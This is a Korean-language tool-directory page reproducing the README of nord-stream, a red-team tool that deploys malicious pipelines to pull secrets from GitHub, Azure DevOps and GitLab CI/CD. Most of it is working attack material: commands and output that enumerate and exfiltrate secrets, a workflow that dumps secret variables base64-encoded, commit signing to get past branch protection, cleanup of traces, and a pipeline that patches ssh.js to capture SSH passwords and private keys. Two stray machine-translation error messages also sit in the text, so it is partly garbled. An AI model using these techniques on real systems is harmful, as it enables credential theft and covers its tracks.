Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
nord-stream — Nord Stream은 악성 파이프라인을 배포하여 CI/CD 환경 내부에 저장된 비밀을 추출할 수 있는 도구입니다. 현재 Azure DevOps, GitHub 및 GitLab을 지원합니다. | Kitploit
도구/GitHubGitHub/synacktiv/nord-stream
ExploitationImpersonation ToolsData ExfiltrationInformation GatheringPenetration TestingDevSecOpsSecret DetectionRed Teaming
GitHubsynacktiv/nord-stream

nord-stream

Nord Stream은 악성 파이프라인을 배포하여 CI/CD 환경 내부에 저장된 비밀을 추출할 수 있는 도구입니다. 현재 Azure DevOps, GitHub 및 GitLab을 지원합니다.

저장소 보기
37022612개월 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
웹사이트
공유

Nord Stream

Nord Stream은 CI/CD 환경에 저장된 시크릿을 악성 파이프라인을 배포하여 추출할 수 있는 도구입니다.

현재 Azure DevOps, GitHub 및 GitLab을 지원합니다.

자세한 내용은 다음 블로그 게시물에서 확인하세요: https://www.synacktiv.com/publications/cicd-secrets-extraction-tips-and-tricks

목차

  • Nord Stream
    • 목차
    • 설치
    • 사용법
      • 공통 인자
        • 토큰 설명
        • YAML 빌드
        • YAML
        • 로그 정리
        • 커밋 서명
      • Azure DevOps
        • 서비스 연결
          • SSH
        • 조직 목록
        • 도움말
      • GitHub
        • 보호 목록
        • 보호 비활성화
        • 강제
        • Azure OIDC
        • AWS OIDC
        • 도움말
      • GitLab
        • 시크릿 목록
        • YAML
        • 보호 목록
        • 도움말
    • TODO
    • 연락처

설치```

$ pipx install git+https://github.com/synacktiv/nord-stream

`git`도 필요하며 (https://git-scm.com/download/ 참조) `PATH`에 존재해야 합니다.

## 사용법

다음은 GitHub의 간단한 예제입니다. 처음에는 다양한 비밀을 열거할 수 있습니다.```sh
$ nord-stream github --token "$GHP" --org org --list-secrets --repo repo
[*] Listing secrets:
[*] "org/repo" secrets
[*] Repo secrets:
        - REPO_SECRET
        - SUPER_SECRET
[*] PROD secrets:
        - PROD_SECRET

그런 다음 exfiltration을 진행합니다:```sh $ nord-stream github --token "$GHP" --org org --repo repo
[+] "org/repo" [] No branch protection rule found on "dev_remote_ea5Eu/test/v1" branch [] Getting secrets from repo: "org/repo" [*] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] Secrets: secret_SUPER_SECRET=value for super secret secret_REPO_SECRET=repository secret

[] Getting secrets from environment: "PROD" (org/repo) [] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] Secrets: secret_PROD_SECRET=Value only accessible from prod environment

[] Cleaning logs. [] Check output: /home/hugov/Documents/pentest/RD/CICD/tools/nord-stream/nord-stream/nord-stream-logs/github

### 공유 인자

일부 인자는 [GitHub](#github), [Azure DevOps](#azure-devops), [GitLab](#gitlab) 간에 공유됩니다. 몇 가지 예는 다음과 같습니다.

#### 토큰 설명

`--describe-token` 옵션을 사용하면 토큰에 대한 일반 정보를 표시할 수 있습니다:```bash
$ nord-stream github --token "$PAT" --describe-token
[*] Token information:
        - Login: CICD
        - IsAdmin: False
        - Id: 1337
        - Bio: None

빌드 YAML

--build-yaml 옵션은 배포하지 않고 파이프라인 파일을 생성하는 데 사용할 수 있습니다. 이 옵션은 관련 파이프라인을 빌드하기 위해 다양한 시크릿 이름을 검색하며, 이 파이프라인은 사용자 지정 단계를 추가하는 데 사용할 수 있습니다:```bash $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --env PROD --build-yaml custom.yml [+] YAML file: name: GitHub Actions 'on': push jobs: init: runs-on: ubuntu-latest steps: - run: env -0 | awk -v RS='\0' '/^secret_/ {print $0}' | base64 -w0 | base64 -w0 name: command env: secret_PROD_SECRET: ${{secrets.PROD_SECRET}} environment: PROD

#### YAML

`--yaml` 옵션을 사용하여 사용자 지정 파이프라인을 배포할 수 있습니다:```yml
name: GitHub Actions
'on': push
jobs:
  init:
    runs-on: ubuntu-latest
    steps:
    - run: echo "Hello from step 1"
      name: step 1
    - run: echo "Doing some important stuff here"
      name: command
    - run: echo "Hello from last step "
      name: last step

I don't see any source content to translate. The message ends with "INPUT:" but no text follows it. Please provide the chunk you'd like translated.```bash $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --yaml custom.yml [+] "synacktiv/repo" [] No branch protection rule found on "dev_remote_ea5Eu/test/v1"branch [] Running custom workflow: .../custom.yml [*] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] Workflow output: 2023-07-18T20:08:33.0073670Z ##[group]Run echo "Doing some important stuff here" 2023-07-18T20:08:33.0074247Z echo "Doing some important stuff here" 2023-07-18T20:08:33.0136846Z shell: /usr/bin/bash -e {0} 2023-07-18T20:08:33.0137261Z ##[endgroup] 2023-07-18T20:08:33.0422019Z Doing some important stuff here

[] Cleaning logs. [] Check output: .../nord-stream-logs/github

기본적으로 `init` 작업의 `command`라는 이름의 태스크 출력을 표시하지만, 모든 것이 로컬에 저장되며 수동으로 접근할 수 있습니다:```bash
$ cat nord-stream-logs/github/synacktiv/repo/workflow_custom_2023-07-18_22-08-44/init/4_last\ step.txt
2023-07-18T20:08:33.0458509Z ##[group]Run echo "Hello from last step "
2023-07-18T20:08:33.0459084Z echo "Hello from last step "
2023-07-18T20:08:33.0511473Z shell: /usr/bin/bash -e {0}
2023-07-18T20:08:33.0511890Z ##[endgroup]
2023-07-18T20:08:33.0597853Z Hello from last step

로그 정리

기본적으로 Nord Stream은 사용자의 권한에 따라 파이프라인 배포 후 남은 흔적을 제거하려고 시도합니다. 흔적을 보존하려면 --no-clean 옵션을 사용할 수 있습니다. 이렇게 하면 파이프라인 로그는 유지되지만, 저장소에 적용된 변경 사항은 여전히 되돌아갑니다. 참고로 GitLab의 경우 일부 흔적은 삭제할 수 없습니다.

커밋 서명

저장소 관리자는 브랜치에서 필수 커밋 서명을 적용하여 서명되지 않았거나 검증되지 않은 모든 커밋을 차단할 수 있습니다. Nord Stream을 사용하면 이러한 보호를 우회하기 위해 커밋에 서명할 수 있습니다.

먼저 SCM 플랫폼에서 GPG 키를 생성하고 가져오세요.```sh $ gpg --full-generate-key $ gpg --armor --export F94496913C43EFC5 $ gpg --list-secret-keys --keyid-format=long sec dsa2048/F94496913C43EFC5 2023-07-18 [SC] [expires: 2023-07-23] Key fingerprint = B158 3F43 9899 C5A3 B74E D04B F944 9691 3C43 EFC5 uid [ultimate] test-gpg [email protected]

I don't see any content provided in the input to translate. Please provide the source text for chunk 19, and I'll translate it into Korean.```bash
$ nord-stream github --token "$PAT" --org Synacktiv --repo repo --branch-name main  --key-id F94496913C43EFC5 --user test-gpg --email [email protected] --force
[*] Using branch: "main"
[+] "synacktiv/repo"
[*] Getting secrets from environment: "prod" (synacktiv/repo)
[*] Getting workflow output
[!] Workflow not finished, sleeping for 15s
[+] Workflow has successfully terminated.
[+] Secrets:
secret_PROD_SECRET=my PROD_SECRET

$ git verify-commit 00dcd856624bc9a41f8bd70662f0650839730973
gpg: Signature made Tue 18 Jul 2023 10:34:18 PM CEST
gpg:                using DSA key B1583F439899C5A3B74ED04BF94496913C43EFC5
gpg: Good signature from "test-gpg <[email protected]>" [ultimate]
Primary key fingerprint: B158 3F43 9899 C5A3 B74E  D04B F944 9691 3C43 EFC5
```
### Azure DevOps

Nord Stream은 다음 유형의 시크릿을 추출할 수 있습니다:
- 변수 그룹(vg)
- 보안 파일(sf)
- 서비스 연결

#### 서비스 연결

Azure DevOps는 작업(job)에서 태스크를 실행하기 위해 외부 및 원격 서비스와 연결을 생성할 수 있는 기능을 제공합니다. 이를 위해 서비스 연결이 사용됩니다. 서비스 연결은 원격 서비스에 대한 ID의 자격 증명을 보유합니다. Azure DevOps에는 여러 유형의 서비스 연결이 있습니다.

Nord Stream은 현재 다음 유형의 서비스 연결에 대한 시크릿 추출을 지원합니다:
- AzureRM
- GitHub
- AWS
- SonarQube
- SSH

지원되지 않는 유형을 발견하면 이슈를 열거나 풀 리퀘스트를 만들어 주세요 :)

##### SSH

이 서비스 연결 유형에 대한 추출은 구현하기가 까다로웠습니다. 출력 결과는 다음과 같습니다:```
hostname:::port:::user:::password:::privatekey
```
자체 호스팅 러너에서 실행하려면 다음을 수행할 수 있습니다:```
$ nord-stream devops ... --build-yaml test.yml --build-type ssh  
[+] YAML file:
trigger: none
pool:
  vmImage: ubuntu-latest
steps:
- checkout: none
- script: SSH_FILE=$(find /home/vsts/work/_tasks/ -name ssh.js) ; cp $SSH_FILE $SSH_FILE.bak
    ; sed -i 's|const readyTimeout = getReadyTimeoutVariable();|const readyTimeout
    = getReadyTimeoutVariable();\nconst fs = require("fs");var data = "";data += hostname
    + ":::" + port + ":::" + username + ":::" + password + ":::" + privateKey;fs.writeFile("/tmp/artefacts.tar.gz",
    data, (err) => {});|' $SSH_FILE
  displayName: Preparing Build artefacts
- task: SSH@0
  inputs:
    sshEndpoint: '#FIXME'
    runOptions: commands
    commands: sleep 1
- script: SSH_FILE=$(find /home/vsts/work/_tasks/ -name ssh.js); mv $SSH_FILE.bak
    $SSH_FILE ; cat /tmp/artefacts.tar.gz | base64 -w0 | base64 -w0 ; echo ''
  displayName: Build artefacts
```
도구 다운로드